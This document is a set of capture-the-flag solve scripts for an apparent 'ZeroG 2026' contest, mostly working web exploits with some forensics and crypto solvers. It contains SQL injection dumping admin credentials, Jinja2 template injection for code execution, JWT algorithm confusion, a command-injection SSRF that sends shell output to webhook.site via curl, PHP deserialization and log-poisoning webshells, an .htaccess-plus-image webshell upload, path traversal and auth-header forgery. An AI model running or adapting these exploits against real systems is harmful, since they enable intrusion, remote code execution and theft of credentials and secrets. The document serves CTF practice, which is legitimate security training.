ZeroG-零重力 CTF 2026 秋季新神赛

#!/usr/bin/env python3
import base64, json, re, html, requests

BASE = "http://xxx"

def enc(obj):
    return base64.b64encode(
        json.dumps(obj, ensure_ascii=False).encode()
    ).decode()

def make_cookie(username, password, role="admin"):
    return enc({
        "uid": 1,
        "username": username,
        "nickname": "x",
        "password": password,
        "role": role,
        "login_at": "2026-01-01 00:00:00",
    })

def http(path, ck=None, method="GET", data=None):
    headers = {"Cookie": "user_info=" + ck} if ck else {}
    return requests.request(
        method, BASE + path,
        headers=headers, data=data,
        allow_redirects=False, timeout=20
    )

# 1) 演示账号登录，确认 Cookie 形态
r = requests.post(
    BASE + "/login",
    data={"username": "guest", "password": "guest123"},
    allow_redirects=False, timeout=20
)
print("[*] guest login:", r.status_code)

# 2) /profile 的 username 拼接注入，UNION 拖 admin_users
sqli = "' UNION SELECT id,username,password,role FROM admin_users-- -"
r = http("/profile", make_cookie(sqli, "x"))
rows = re.findall(
    r'<dt class="col-4">(.*?)</dt><dd class="col-8">(.*?)</dd>',
    r.text, re.S
)
info = dict(rows)
print("[*] leaked rows:", rows)

admin_user, admin_pass = info["用户名"], info["昵称"]
print("[+] admin:", admin_user, admin_pass)

# 3) 用真实管理员账密重编码 Cookie，进入后台
ck = make_cookie(admin_user, admin_pass)
r = http("/admin", ck)
print("[*] /admin:", r.status_code, "len:", len(r.text))
assert "运营后台" in r.text

# 4) /admin/offline：yaml.unsafe_load -> Jinja2 Template.render -> SSTI
ssti = (
    "{{cycler.__init__.__globals__.__builtins__"
    ".__import__('os').popen('env').read()}}"
)
r = http("/admin/offline", ck, "POST", {"expr": ssti})
m = re.search(
    r'<pre class="result[^"]*">(.*?)</pre>',
    r.text, re.S
)
out = html.unescape(m.group(1)) if m else r.text
print(out)

flag = re.search(r"ZeroGFlag\{[^}]+\}", out)
print("[+] FLAG:", flag.group(0) if flag else "not found")

import re
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

BASE = "http://xxx"
SECRET_KEY = "ctf2026"

# 1. 用 guest 账号登录，拿到原始 session
s = requests.Session()
r = s.post(
    f"{BASE}/login",
    data={"username": "guest", "password": "guest123"},
    allow_redirects=False,
)
print("[*] 原始 session:", s.cookies.get("session"))

# 2. 用泄露的 SECRET_KEY 伪造 admin session
app = Flask(__name__)
app.secret_key = SECRET_KEY
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
forged = serializer.dumps({"user": "admin"})
print("[*] 伪造 session:", forged)

# 3. 携带伪造 cookie 访问首页
r = requests.get(f"{BASE}/", cookies={"session": forged})
print(r.text)

flag = re.search(r"flag\{[^}]+\}", r.text)
if flag:
    print("[+] Flag:", flag.group(0))

@app.route("/search")
def search():
    q = flask.request.args.get("q", "").strip()
    matched = [p for p in PRODUCTS if q == "" or q.lower() in p["name"].lower()]
    result_count = len(matched)
    grid = product_grid(matched, hl=q)

    injected_head = flask.render_template_string(
        f"""
    <div class="crumb">
      <a href="/">首页</a><span class="arrow">›</span>
      <span>全部装备</span><span class="arrow">›</span>
      <b>搜索结果</b>
    </div>
    <section class="result-hero">
      <p class="kicker">{STORENAME} / Search Results</p>
      <h2 class="line">您当前正在浏览 <em>{q}</em> 的搜索结果</h2>
      <p class="note">KEYWORD 按原样回显 · 命中 <b>{result_count}</b> 件商品 · 排序：默认</p>
    </section>
    ...
    """
    )

    return flask.render_template(
        "search.html",
        store=STORENAME,
        tagline=TAGLINE,
        q=q,
        injected_head=Markup(injected_head),
        grid=Markup(grid),
        result_count=result_count,
        total=len(PRODUCTS),
    )

# 注意：源码中不定义任何 FLAG。部署侧通过进程环境变量注入真实 flag，
# 选手获得 RCE 后直接 printenv 即可读到，因此题目里无需再写该变量。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests

BASE = "http://xxx"

s = requests.Session()

# 先访问一次，拿到 PHPSESSID
s.get(f"{BASE}/profile", timeout=10)

# 顶层 __class__ 会递归进入类级策略，覆盖 is_admin
payload = {
    "__class__": {
        "is_admin": True
    }
}

r = s.post(f"{BASE}/api/profile", json=payload, timeout=10)
print("[*] POST /api/profile ->", r.status_code)
print(r.text)

# 带着同一个会话进入管理员区域
r = s.get(f"{BASE}/admin", timeout=10)
print("[*] GET /admin ->", r.status_code)

m = re.search(r"ZeroG\{[^}]+\}", r.text)
if m:
    print("[+] FLAG:", m.group(0))
else:
    print("[-] 未找到 flag，当前页面长度:", len(r.text))

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests

BASE = "http://xxx/"

# 六关条件必须同时带上：服务端是按顺序逐关判定的，
# 只带后面的关卡会被退回第一关。
params = {
    "step1": "2026",      # 第一关：弱比较
    "step2": "fflaglag",  # 第二关：str_replace 非递归
    "step3": "1",         # 第三关：占位，实际靠 X-Forwarded-For
    "step4": "1",         # 第四关：占位，实际靠 Cookie
    "step5": "1",         # 第五关：占位，实际靠 Accept-Language
    "pwd":   "0e1",       # 第六关：0e1 == 0 且长度为 3
}

headers = {
    "X-Forwarded-For": "127.0.0.1",  # 第三关：伪造本机来源
    "Cookie": "admin=1",             # 第四关：管理员身份
    "Accept-Language": "miao",       # 第五关：喵星语言标记
}

r = requests.get(BASE, params=params, headers=headers, timeout=10)
r.raise_for_status()

m = re.search(r"flag\{[^}]+\}", r.text)
if m:
    print("[+] FLAG:", m.group(0))
else:
    title = re.search(r"<title>(.*?)</title>", r.text, re.S)
    print("[-] 未拿到 flag，当前页面:", title.group(1) if title else "unknown")

import base64
import hashlib
import hmac
import json
import time

import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

BASE = "http://xxx"

def b64d(s):
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

def b64e(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

# 1. 获取 JWKS 中的 RSA 公钥
jwks = requests.get(BASE + "/jwks.json", timeout=15).json()
key = jwks["keys"][0]

n = int.from_bytes(b64d(key["n"]), "big")
e = int.from_bytes(b64d(key["e"]), "big")
public_key = rsa.RSAPublicNumbers(e, n).public_key()
pem = public_key.public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo,
)

# 2. 算法混淆：alg=HS256，HMAC key 使用 PEM 公钥
now = int(time.time())
header = {"alg": "HS256", "kid": key["kid"], "typ": "JWT"}
payload = {"sub": "zhangsan", "role": "admin", "iat": now, "exp": now + 3600}

h = b64e(json.dumps(header, separators=(",", ":")).encode())
p = b64e(json.dumps(payload, separators=(",", ":")).encode())
sig = b64e(hmac.new(pem, h + b"." + p, hashlib.sha256).digest())
token = (h + b"." + p + b"." + sig).decode()

# 3. 带着伪造 token 调用诊断接口，注入命令读取 flag
s = requests.Session()
s.cookies.set("auth_token", token)

r = s.post(BASE + "/api/system/diag", json={
    "command": "ping",
    "target": "127.0.0.1; cat /flag",
}, timeout=20)

print(r.status_code)
print(r.text)

import base64
import hashlib
import hmac
import json
import time

import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

BASE = "http://xxx"

def b64d(s):
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))

def b64e(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

jwks = requests.get(BASE + "/jwks.json", timeout=15).json()
key = jwks["keys"][0]

n = int.from_bytes(b64d(key["n"]), "big")
e = int.from_bytes(b64d(key["e"]), "big")

public_key = rsa.RSAPublicNumbers(e, n).public_key()
pem = public_key.public_bytes(
    serialization.Encoding.PEM,
    serialization.PublicFormat.SubjectPublicKeyInfo,
)

now = int(time.time())
header = {
    "alg": "HS256",
    "kid": key["kid"],      # ops-console-2024
    "typ": "JWT",
}
payload = {
    "sub": "zhangsan",
    "role": "admin",
    "iat": now,
    "exp": now + 3600,
}

h = b64e(json.dumps(header, separators=(",", ":")).encode())
p = b64e(json.dumps(payload, separators=(",", ":")).encode())

# 关键点：用 PEM 公钥作为 HMAC 密钥
sig = b64e(hmac.new(pem, h + b"." + p, hashlib.sha256).digest())
token = (h + b"." + p + b"." + sig).decode()

print(token)

s = requests.Session()
s.cookies.set("auth_token", token)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import time
import urllib.parse
import requests

BASE = "http://xxx"

def make_webhook():
    r = requests.post("https://webhook.site/token", json={}, timeout=30)
    r.raise_for_status()
    uuid = r.json()["uuid"]
    return uuid, "https://webhook.site/" + uuid

def latest_requests(uuid):
    r = requests.get(
        "https://webhook.site/token/%s/requests?sorting=newest" % uuid,
        timeout=30,
    )
    r.raise_for_status()
    return r.json().get("data", [])

def exfil(uuid, shell_cmd, wait=2.0):
    # 内部执行的是：echo Debug: <cmd>
    # 用 "x;" 结束 echo，再执行我们的命令
    # 用管道把输出交给 curl 带出容器
    payload = (
        "x;(" + shell_cmd + ") | curl -m 2 -s -X POST --data-binary @- "
        "'https://webhook.site/%s'" % uuid
    )
    ssrf_url = (
        "http://127.1:5001/api/debug?cmd="
        + urllib.parse.quote(payload, safe="")
    )
    # 127.1 绕过 ["127.0.0.1", "localhost", "0.0.0.0"] 黑名单
    requests.get(BASE + "/compare", params={"url": ssrf_url}, timeout=10)
    time.sleep(wait)
    data = latest_requests(uuid)
    return data[0].get("content", "") if data else ""

if __name__ == "__main__":
    shell_cmd = " ".join(sys.argv[1:]) or "id; env | sort"
    uuid, _ = make_webhook()
    print("[*] webhook:", uuid)
    out = exfil(uuid, shell_cmd)
    print("=" * 60)
    print(out)
    print("=" * 60)
    for line in out.splitlines():
        if "flag{" in line:
            print("[+] FLAG:", line.strip())

import json
import re
import requests

URL = "http://xxx/"

def invoker(code: str) -> str:
    """把 PHP 代码包装成 Invoker 对象的序列化字符串。"""
    return 'O:7:"Invoker":1:{s:4:"code";s:%d:"%s";}' % (len(code.encode()), code)

# 枚举环境变量里以 FLAG 结尾的键，避免硬编码平台注入的变量名。
php = r'''
foreach (getenv() as $k => $v) {
    if (preg_match('/(^|_)FLAG$/i', $k)) {
        echo $k . "=" . $v . "\n";
    }
}
'''

resp = requests.post(URL, data={"data": invoker(php)}, timeout=10)
resp.raise_for_status()

result = resp.json()
print(result["output"])

m = re.search(r"flag\{[^}]+\}", result["output"])
if m:
    print("[+] flag =", m.group(0))
else:
    print("[-] flag not found")

import requests

BASE = "http://xxx/"

# 一对 MD5 相同的不同二进制串（碰撞样本）
a = bytes.fromhex(
    "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
    "afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
)
b = bytes.fromhex(
    "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518"
    "afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
)

params = {
    "zero": "ZeroG 2026!\n",   # 末尾换行绕过 ^...$
    "xp": "2020e4",            # intval=2020，但数值上下文为 20200000+4
}

# 直接写 Welcome__ctf.2026 会被 PHP 改成 Welcome__ctf_2026，
# 用 Welcome_[ctf.2026 让 [ 变成 _，后面的点保留下来。
data = [
    ("Welcome_[ctf.2026", a),
    ("mm", b),
    ("code", "echo 'FLAG='.file_get_contents('/flag');"),
]

r = requests.post(BASE, params=params, data=data, timeout=20)
print(r.text[r.text.rfind("</code>") + 7:])

import html
import requests

BASE = "http://xxx"

def preview(file_name: str) -> str:
    response = requests.get(
        f"{BASE}/preview.php",
        params={
            "file": file_name,
            "format": "json",
        },
        timeout=10,
    )
    response.raise_for_status()
    data = response.json()

    if not data.get("ok"):
        raise RuntimeError(data.get("outputHtml", "read failed"))

    return html.unescape(data["outputHtml"])

def bypass_path(path: str) -> str:
    # str_replace('../', '', '....//' + path) 的结果是 '../' + path
    return "....//" + path.lstrip("/")

if __name__ == "__main__":
    print("[+] README.txt")
    print(preview(bypass_path("README.txt")))

    print("[+] secret/flag.txt")
    print(preview(bypass_path("secret/flag.txt")))

import base64
import re
import sys
import uuid

import requests
import urllib3

urllib3.disable_warnings()
sys.stdout.reconfigure(encoding="utf-8")

BASE = "http://xxx/"
LOG = "/var/log/nginx/access.log"

s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0"})

# 1. 通过 php://filter 读取 index.php 源码
r = s.get(
    BASE + "index.php",
    params={"file": "php://filter/convert.base64-encode/resource=index.php"},
    timeout=15,
)
src = base64.b64decode(r.text).decode("utf-8", "replace")
print("[+] index.php 源码长度:", len(src))
print(src)

# 2. 向 Nginx access.log 写入 PHP 代码
s.headers.update({"User-Agent": "<?php system($_GET['x']); ?>"})
s.get(BASE, timeout=15)
s.headers.update({"User-Agent": "Mozilla/5.0"})

# 3. 包含日志并执行命令
def run(cmd):
    mark = "Z" + uuid.uuid4().hex[:12]
    payload = f"echo {mark}S; {cmd}; echo {mark}E"
    r = s.get(
        BASE + "index.php",
        params={"file": LOG, "x": payload},
        timeout=15,
    )
    m = re.search(mark + r"S(.*?)" + mark + r"E", r.text, re.S)
    return m.group(1).strip() if m else r.text[-3000:]

print("[+] id:")
print(run("id"))

print("[+] /:")
print(run("ls -la /"))

print("[+] entrypoint.sh:")
print(run("cat /entrypoint.sh"))

print("[+] env:")
env_out = run("env")
print(env_out)

flag = re.search(r"ZeroGFlag\{[^}]+\}", env_out)
print("[+] flag:", flag.group(0) if flag else "not found")

import requests

BASE = "http://xxx"

s = requests.Session()

# 1. 以普通买家 alice 登录
r = s.post(
    BASE + "/api/login",
    json={"username": "alice", "password": "alice123"},
    timeout=15,
)
print("login:", r.status_code, r.text)

# 2. 普通请求访问后台，确认被拒绝
r = s.get(BASE + "/api/admin/orders", timeout=15)
print("normal:", r.status_code, r.text)

# 3. 伪造 SSO 网关角色头
headers = {"X-Auth-Role": "admin"}

r = s.get(BASE + "/api/admin/orders", headers=headers, timeout=15)
print("admin orders:", r.status_code)
orders = r.json()["orders"]
for order in orders:
    print(order["id"], order["ownerId"], order["status"], order["amount"])

# 4. 对目标订单发货，读取承运商回执校验码
target = "SO-2024-1001"

r = s.post(
    BASE + f"/api/admin/orders/{target}/ship",
    headers={**headers, "Content-Type": "application/json"},
    json={"carrier": "SF-Express"},
    timeout=15,
)
print("ship:", r.status_code, r.text)

data = r.json()
print("trackingNo:", data["manifest"]["trackingNo"])
print("verifyCode:", data["manifest"]["verifyCode"])

import re
import time
import requests
import urllib3

urllib3.disable_warnings()

BASE = "http://xxx"
USERNAME = "admin"
PASSWORD = "Admin@2026!Pql"

s = requests.Session()
s.post(
    f"{BASE}/admin/login.php",
    data={"username": USERNAME, "password": PASSWORD},
    timeout=30,
)

def post_keyword(keyword: str):
    return s.post(
        f"{BASE}/admin/review.php",
        data={"keyword": keyword},
        timeout=60,
    )

# 1. 参数注入：-rA1 递归后台目录，并把第 56 行作为上下文带出来
r = post_keyword("-rA1")
pre = re.search(r"(?s)<pre>(.*?)</pre>", r.text)
if pre:
    for line in pre.group(1).splitlines():
        if "$cmd" in line:
            print("[source]", line)

# 2. 命令执行：把 id 输出写到 Web 根目录
payload = "'$(id>/var/www/html/out.txt)'"
post_keyword(payload)
time.sleep(0.3)
r = requests.get(f"{BASE}/out.txt", timeout=20)
print("[id]", r.text.strip())

# 3. 读取 /flag：/f* 绕过 flag 黑名单，head 绕过 cat 黑名单
payload = "'$(head /f*>/var/www/html/a.txt)'"
post_keyword(payload)
time.sleep(0.3)
r = requests.get(f"{BASE}/a.txt", timeout=20)
print("[flag]", r.text.strip())

#!/usr/bin/env python3
import re
import sys
import time

import requests

BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else (
    "http://xxx"
)

s = requests.Session()

# 1. 登录后台
r = s.post(
    f"{BASE}/admin/login.php",
    data={"username": "admin", "password": "nimda"},
    allow_redirects=False,
    timeout=10,
)
print("[*] login:", r.status_code, r.headers.get("Location"))
if r.status_code != 302:
    print(r.text)
    raise SystemExit("login failed")

# 2. 上传 .htaccess，让 .jpg 由 PHP 解析
htaccess = b"AddHandler application/x-httpd-php .jpg\n"
r = s.post(
    f"{BASE}/admin/config.php",
    files={"config_file": (".htaccess", htaccess, "text/plain")},
    timeout=10,
)
print("[*] htaccess:", "success" if "已成功更新" in r.text else "upload failed")

# 3. 上传带 GIF89a 头的 PHP 图片马
payload = b"GIF89a<?= `env` ?>\n"
r = s.post(
    f"{BASE}/admin/poster.php",
    files={"poster": ("poster.jpg", payload, "image/gif")},
    timeout=10,
)
print("[*] poster:", "success" if "海报已成功更新" in r.text else "upload failed")

# 4. 访问海报，触发命令执行
r = s.get(f"{BASE}/uploads/poster.jpg", params={"t": int(time.time())}, timeout=10)
print("[*] output:\n" + r.text)

m = re.search(r"[A-Za-z0-9_]*Flag\{[^}]+\}", r.text)
print("[+] flag:", m.group(0) if m else "not found")

import base64
import json
import urllib.request
import urllib.error

BASE = "http://xxx"

def post(path, payload):
    data = json.dumps(payload).encode()
    req = urllib.request.Request(
        BASE + path,
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode()

# 1. 申请一次 run，拿到 runId
status, body = post("/api/run", {})
print("run:", status, body)
run_id = json.loads(body)["runId"]

# 2. 伪造 score=3000 的 grades
grades = base64.b64encode(
    json.dumps({"score": 3000}, separators=(",", ":")).encode()
).decode()
print("grades:", grades)

# 3. 提交结算，领取 flag
status, body = post("/api/claim", {"runId": run_id, "grades": grades})
print("claim:", status, body)

import sys, zipfile

src, dst = sys.argv[1], sys.argv[2]
data = bytearray(open(src, "rb").read())

# layer_06.b64 的本地文件头签名被清零
assert data[0x129:0x12D] == b"\x00" * 4
data[0x129:0x12D] = b"PK\x03\x04"

# 第一个中央目录头签名被清零
assert data[0x42E:0x432] == b"\x00" * 4
data[0x42E:0x432] = b"PK\x01\x02"

open(dst, "wb").write(data)

z = zipfile.ZipFile(dst)
print(z.namelist())
for info in z.infolist():
    print(info.filename, info.file_size)

# 顺便把三个文件解出来
z.extractall("fragile")

import re
import base64

frames = {}

with open("access.log", "r", encoding="utf-8", errors="replace") as f:
    for line in f:
        m = re.search(
            r'"POST /api/telemetry/collect\?seq=(\d+)&frame=([^& ]+)',
            line
        )
        if not m:
            continue
        seq = int(m.group(1))
        frames[seq] = m.group(2)

payload = "".join(frames[i] for i in sorted(frames))

print("分片数量:", len(frames))
print("seq 范围:", min(frames), "-", max(frames))
print("拼接结果:", payload)
print("解码结果:", base64.b64decode(payload).decode())

import base64

cipher = base64.b64decode(
    "YgcXCiR2CANfGVdXUFICWw1XSAcAU1dPDFEDAU4IVlAMT1UBUVNcAwtVBlJQUhk=")
key = b"8beec0db"

plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher))
print(plain.decode())

# solve.sage
import json, sys
from sage.all import matrix, ZZ

def recover(n, q, m, A, b, delta=0.999):
    """Kannan embedding + LLL, return (s, e) or (None, None)."""
    c = 1
    B = matrix(ZZ, m + n + 1, m + n + 1)
    # [ q I_m | 0 | 0 ]
    for i in range(m):
        B[i, i] = q
        for j in range(n):
            B[m + j, i] = A[i][j]   # 第 j 列放进第 m+j 行
    # [ A | I_n | 0 ]
    for j in range(n):
        B[m + j, m + j] = 1
    # [ b^T | 0 | c ]
    for i in range(m):
        B[m + n, i] = b[i]
    B[m + n, m + n] = c

    L = B.LLL(delta=delta)

    for r in range(L.nrows()):
        v = L[r]
        if v[m + n] == 0:                 # 末位必须是 ±c
            continue
        mid = [int(x) for x in v[m:m + n]]
        if any(x not in (-1, 0, 1) for x in mid):
            continue
        for sgn in (1, -1):               # 短向量可能整体取反
            s = [sgn * x for x in mid]
            e, ok = [], True
            for i in range(m):
                val = (sum(A[i][j] * s[j] for j in range(n)) - b[i]) % q
                if val > q // 2:
                    val -= q
                if abs(val) > 2:          # 噪声上界 1，留一点余量
                    ok = False
                    break
                e.append(val)
            if ok:
                return s, e
    return None, None

if __name__ == "__main__":
    inst = json.load(open(sys.argv[1]))
    n, q, m = inst["n"], inst["q"], inst["m"]
    A = [row["a"] for row in inst["samples"]]
    b = [row["b"] for row in inst["samples"]]

    s, e = recover(n, q, m, A, b)
    print("[*] n=%d q=%d m=%d dim=%d" % (n, q, m, m + n + 1))
    print("[+] s     =", s)
    print("[+] e     =", e)
    proof = "".join("%02x" % (x & 0xFF) for x in s)
    print("[+] proof =", proof, "(%d hex)" % len(proof))

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
RSA Linear Broadcast solver.

Usage:
    sage solve.sage sample_instance.json                 # offline JSON
    sage solve.sage <host> <port> <team-token>           # remote
"""

import json
import socket
import sys

def build_crt_polynomial(instances, e):
    """Return monic f(x) over Z/N with f(m) == 0 (mod N), N=prod n_i."""
    ns = [ZZ(d["n"]) for d in instances]
    for i in range(len(ns)):
        for j in range(i + 1, len(ns)):
            if gcd(ns[i], ns[j]) != 1:
                raise ValueError("moduli are not pairwise coprime")

    N = prod(ns)
    local_polys = []

    for d in instances:
        n, a, b, c = ZZ(d["n"]), ZZ(d["a"]), ZZ(d["b"]), ZZ(d["c"])
        a_inv = inverse_mod(a, n)
        alpha = (b * a_inv) % n              # b / a
        beta = (c * pow(a_inv, e, n)) % n    # c / a^e

        Rloc.<z> = PolynomialRing(Zmod(n))
        f = (z + alpha) ** e - beta
        assert f.is_monic()
        local_polys.append(f)

    # Coefficient-wise CRT
    R.<x> = PolynomialRing(Zmod(N))
    coeffs = []
    for j in range(e + 1):
        residues = []
        for f in local_polys:
            fl = f.list()
            residues.append(ZZ(fl[j]) if j < len(fl) else ZZ(0))
        coeffs.append(crt(residues, ns))

    F = R(coeffs)
    assert F.is_monic()
    return F, N, ns

def verify(m, instances, e):
    return all(
        (ZZ(d["a"]) * m + ZZ(d["b"])) ** e % ZZ(d["n"]) == ZZ(d["c"])
        for d in instances
    )

def recover_m(instances, e):
    F, N, ns = build_crt_polynomial(instances, e)
    print("[*] e = %d, k = %d, N has %d bits" % (e, len(ns), N.nbits()))

    # Try increasing X.  Do not jump directly to N^(1/e): the
    # substitution x -> X*x makes an over-large X harmful.
    max_bits = int(N.nbits() // e)
    for bits in range(32, max_bits + 1, 8):
        try:
            roots = F.small_roots(X=ZZ(2) ** bits, beta=1.0)
        except Exception:
            roots = []
        for r in roots:
            m = ZZ(r)
            if verify(m, instances, e):
                print("[+] root found with X = 2^%d" % bits)
                return m

    # Fallback for a root close to N^(1/e): use a smaller epsilon.
    for eps in [0.05, 0.02, 0.01, 0.005, 0.003, 0.002]:
        bits = int(N.nbits() * (1 / ZZ(e) - eps))
        if bits <= 0:
            continue
        try:
            roots = F.small_roots(X=ZZ(2) ** bits, beta=1.0, epsilon=eps)
        except Exception:
            continue
        for r in roots:
            m = ZZ(r)
            if verify(m, instances, e):
                print("[+] root found with epsilon = %s" % eps)
                return m

    raise ValueError("small root not found")

def recv_until(sock, marker):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def solve_remote(host, port, token):
    s = socket.create_connection((host, port), timeout=15)
    recv_until(s, b"TEAM> ")
    s.sendall(token.encode() + b"\n")

    # The service answers with one line of JSON.
    line = b""
    while not line.endswith(b"\n"):
        ch = s.recv(1)
        if not ch:
            break
        line += ch
    payload = json.loads(line.decode())
    print(json.dumps(payload, indent=2)[:800])

    e = int(payload["e"])
    m = recover_m(payload["instances"], e)
    proof = format(m, "x")
    print("[+] m = %d" % m)
    print("[+] proof = %s" % proof)

    recv_until(s, b"SUBMIT> ")
    s.sendall(("SUBMIT " + proof + "\n").encode())
    print(s.recv(4096).decode(errors="replace"))
    s.close()

def main():
    if len(sys.argv) == 2:
        payload = json.load(open(sys.argv[1], encoding="utf-8"))
    elif len(sys.argv) == 4:
        return solve_remote(sys.argv[1], int(sys.argv[2]), sys.argv[3])
    else:
        print(__doc__)
        return

    e = int(payload["e"])
    m = recover_m(payload["instances"], e)
    print("[+] m = %d" % m)
    print("[+] proof = %s" % format(m, "x"))
    print("[+] verification:", verify(m, payload["instances"], e))

if __name__ == "__main__":
    main()

n = int(n_hex, 16)
e = 3
c = int(c_hex, 16)